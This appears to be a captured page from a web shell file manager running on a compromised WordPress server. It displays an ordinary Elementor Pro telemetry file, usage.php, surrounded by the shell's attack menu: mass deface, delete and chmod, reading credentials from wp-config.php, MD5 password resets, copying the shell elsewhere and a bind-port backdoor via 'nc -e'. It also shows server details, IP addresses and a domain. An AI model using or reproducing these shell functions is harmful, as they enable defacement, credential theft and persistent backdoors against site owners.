WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / elementor-pro / modules / notes / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor-pro/modules/notes/usage.php (7.79 KB)
<?php

namespace ElementorPro\Modules\Notes;

use Elementor\Core\Base\Document;
use ElementorPro\Core\Database\Join_Clause;
use ElementorPro\Core\Database\Query_Builder;
use ElementorPro\Core\Utils\Collection;
use ElementorPro\Modules\Notes\Database\Models\Note;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}

class Usage {

	const THREADS = 'threads';
	const REPLIES = 'replies';

	/**
	 * Register hooks.
	 *
	 * @return void
	 */
	public function register() {
		add_filter( 'elementor/tracker/send_tracking_data_params', function ( array $params ) {
			$params['usages']['notes_feature'] = $this->get_usage_data();

			return $params;
		} );
	}

	/**
	 * Get the Notes feature usage data.
	 *
	 * @return array
	 */
	private function get_usage_data() {
		return [
			'threads' => $this->get_threads_usage(),
			'replies' => $this->get_replies_usage(),
			'mentions' => $this->get_mentions_usage(),
			'first_interaction' => $this->get_first_interaction(),
			'last_interaction' => $this->get_last_interaction(),
		];
	}

	/**
	 * Get the Threads' usage data.
	 *
	 * @return array
	 */
	private function get_threads_usage() {
		return [
			'total' => Note::query()
				->only_threads()
				->count(),

			'resolved' => Note::query()
				->only_threads()
				->where( 'is_resolved', '=', true )
				->count(),

			'trashed' => Note::query()
				->only_threads()
				->only_trashed()
				->count(),

			'users_used' => $this->get_notes_users_used( static::THREADS ),

			'document_type' => $this->get_notes_document_types( static::THREADS ),
		];
	}

	/**
	 * Get the replies' usage data.
	 *
	 * @return array
	 */
	private function get_replies_usage() {
		return [
			'total' => Note::query()
				->only_replies()
				->count(),

			'trashed' => Note::query()
				->only_replies()
				->only_trashed()
				->count(),

			'replied_threads' => (int) Note::query()
				->disable_model_initiation()
				->only_replies()
				->select_raw( [ 'COUNT(DISTINCT `parent_id`) AS `count`' ] )
				->first()['count'],

			'users_used' => $this->get_notes_users_used( static::REPLIES ),

			'document_type' => $this->get_notes_document_types( static::REPLIES ),
		];
	}

	/**
	 * Get the mentions' usage data.
	 *
	 * @return array
	 */
	private function get_mentions_usage() {
		return [
			'total' => ( new Query_Builder() )
				->table( Module::TABLE_NOTES_USERS_RELATIONS, 'e_notes_relations' )
				->join( function ( Join_Clause $j ) {
					$j->table( Module::TABLE_NOTES, 'e_notes' )
						->on_column( 'e_notes.id', '=', 'e_notes_relations.note_id' );
				} )
				->where( 'type', '=', Note::USER_RELATION_MENTION )
				->where( 'e_notes.status', '!=', Note::STATUS_TRASH )
				->count(),

			'users_used' => $this->get_mentions_users_used(),

			'document_type' => ( new Query_Builder() )
				->select( [ 'type' => 'postmeta.meta_value' ] )
				->add_count_select( '*', 'count' )
				->from( Module::TABLE_NOTES_USERS_RELATIONS, 'e_notes_relations' )
				->join( function ( Join_Clause $j ) {
					$j->table( Module::TABLE_NOTES, 'e_notes' )
						->on_column( 'e_notes.id', '=', 'e_notes_relations.note_id' );
				} )
				->join( function ( Join_Clause $j ) {
					$j->table( 'posts' )
						->on_column( 'posts.ID', '=', 'e_notes.post_id' );
				} )
				->join( function ( Join_Clause $j ) {
					$j->table( 'postmeta' )
						->on_column( 'posts.ID', '=', 'postmeta.post_id' )
						->on( 'postmeta.meta_key', '=', Document::TYPE_META_KEY );
				} )
				->where( 'e_notes.status', '!=', Note::STATUS_TRASH )
				->group_by( 'postmeta.meta_value' )
				->get()
				->map_with_keys( function ( $row ) {
					return [ $row['type'] => (int) $row['count'] ];
				} )
				->all(),
		];
	}

	/**
	 * Get the first user interaction with the Notes feature.
	 *
	 * @return string|null
	 */
	private function get_first_interaction() {
		$note = Note::query()
			->with_trashed()
			->select( [ 'created_at' ] )
			->order_by( 'created_at' )
			->first();

		return $note && $note->created_at
			? $note->created_at->format( 'Y-m-d\TH:i:sO' )
			: null;
	}

	/**
	 * Get the last user interaction with the Notes feature.
	 *
	 * @return string|null
	 */
	private function get_last_interaction() {
		$note = Note::query()
			->with_trashed()
			->select( [ 'last_activity_at' ] )
			->order_by( 'last_activity_at', 'desc' )
			->first();

		return $note && $note->last_activity_at
			? $note->last_activity_at->format( 'Y-m-d\TH:i:sO' )
			: null;
	}

	/**
	 * Get the count of `$type` usages grouped by user role.
	 *
	 * e.g. for 10 replies it can be something like: `{ admin: 7, subscriber: 3 }`
	 *
	 * @param string $type - Threads or replies.
	 *
	 * @return array
	 */
	private function get_notes_users_used( $type ) {
		$query = Note::query()
			->disable_model_initiation()
			->select( [ 'user_used_id' => Module::TABLE_NOTES . '.author_id' ] )
			->add_count_select( Module::TABLE_NOTES . '.id', 'count' )
			->group_by( 'user_used_id' );

		switch ( $type ) {
			case static::THREADS:
				$query->only_threads();
				break;

			case static::REPLIES:
				$query->only_replies();
				break;
		}

		return $this->normalize_users_used( $query->get() );
	}

	/**
	 * Get the count of mentions usages grouped by user role.
	 *
	 * e.g. for 10 mentions it can be something like: `{ admin: 7, subscriber: 3 }`
	 *
	 * @return array
	 */
	private function get_mentions_users_used() {
		$query = ( new Query_Builder() )
			->from( Module::TABLE_NOTES_USERS_RELATIONS, 'e_notes_relations' )
			->select( [ 'user_used_id' => 'e_notes.author_id' ] )
			->add_count_select( 'e_notes_relations.id', 'count' )
			->join( function ( Join_Clause $j ) {
				$j->table( Module::TABLE_NOTES, 'e_notes' )
					->on_column( 'e_notes_relations.note_id', '=', 'e_notes.id' );
			} )
			->where( 'e_notes_relations.type', '=', Note::USER_RELATION_MENTION )
			->where( 'e_notes.status', '!=', Note::STATUS_TRASH )
			->group_by( 'e_notes.author_id' );

		return $this->normalize_users_used( $query->get() );
	}

	/**
	 * Normalize `users_used` query results into counts array grouped by user role.
	 *
	 * @param Collection $query_results
	 *
	 * @return array
	 */
	private function normalize_users_used( Collection $query_results ) {
		if ( $query_results->is_empty() ) {
			return [];
		}

		$results = $query_results->map_with_keys( function ( $row ) {
			return [ $row['user_used_id'] => (int) $row['count'] ];
		} );

		/**
		 * @type \WP_User[] $users
		 */
		$users = get_users( [
			'include' => $results->keys()->all(),
		] );

		$counts = [];

		foreach ( $users as $user ) {
			/**
			 * WordPress also uses the first role.
			 *
			 * @see https://github.com/WordPress/WordPress/blob/57039311720709d55e96e1a074414ebadba64e00/wp-admin/user-edit.php#L419-L435
			 */
			$role = reset( $user->roles );

			if ( ! isset( $counts[ $role ] ) ) {
				$counts[ $role ] = 0;
			}

			$counts[ $role ] += $results->get( $user->ID );
		}

		return $counts;
	}

	/**
	 * Get the count of `$type` usages grouped by document type.
	 *
	 * @param string $type - Threads or replies.
	 *
	 * @return array
	 */
	private function get_notes_document_types( $type ) {
		$query = Note::query()
			->disable_model_initiation()
			->select( [ 'type' => 'postmeta.meta_value' ] )
			->add_count_select( '*', 'count' )
			->join( function ( Join_Clause $j ) {
				$j->table( 'posts' )
					->on_column( 'posts.ID', '=', Module::TABLE_NOTES . '.post_id' );
			} )
			->join( function ( Join_Clause $j ) {
				$j->table( 'postmeta' )
					->on_column( 'posts.ID', '=', 'postmeta.post_id' )
					->on( 'postmeta.meta_key', '=', Document::TYPE_META_KEY );
			} )
			->group_by( 'postmeta.meta_value' );

		switch ( $type ) {
			case static::THREADS:
				$query->only_threads();
				break;

			case static::REPLIES:
				$query->only_replies();
				break;
		}

		return $query->get()
			->map_with_keys( function ( $row ) {
				return [ $row['type'] => (int) $row['count'] ];
			} )
			->all();
	}
}
namawaktuukuranownerpermaksi
..
assets/ 2026-07-21 14:283.84 KB 76129f60960:kundendxwrx-r--r
data/ 2026-07-21 14:2826.42 KB 76129f60960:kundendxwrx-r--r
database/ 2026-07-21 14:2839.65 KB 76129f60960:kundendxwrx-r--r
editor-one-menu-items/ 2026-07-21 14:281.25 KB 76129f60960:kundendxwrx-r--r
notifications/ 2026-07-21 14:287.89 KB 76129f60960:kundendxwrx-r--r
user/ 2026-07-21 14:2814.33 KB 76129f60960:kundendxwrx-r--r
admin-bar.php 2026-07-21 14:28672 B 76129f60960:kunden-xw-x-----
edt
admin-page.php 2026-07-21 14:283.99 KB 76129f60960:kunden-xw-x-----
edt
document-events.php 2026-07-21 14:282.69 KB 76129f60960:kunden-xw-x-----
edt
module.php 2026-07-21 14:286.34 KB 76129f60960:kunden-xw-x-----
edt
usage.php 2026-07-21 14:287.79 KB 76129f60960:kunden-xw-x-----
edt
utils.php 2026-07-21 14:282.36 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/elementor-pro/modules/notes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK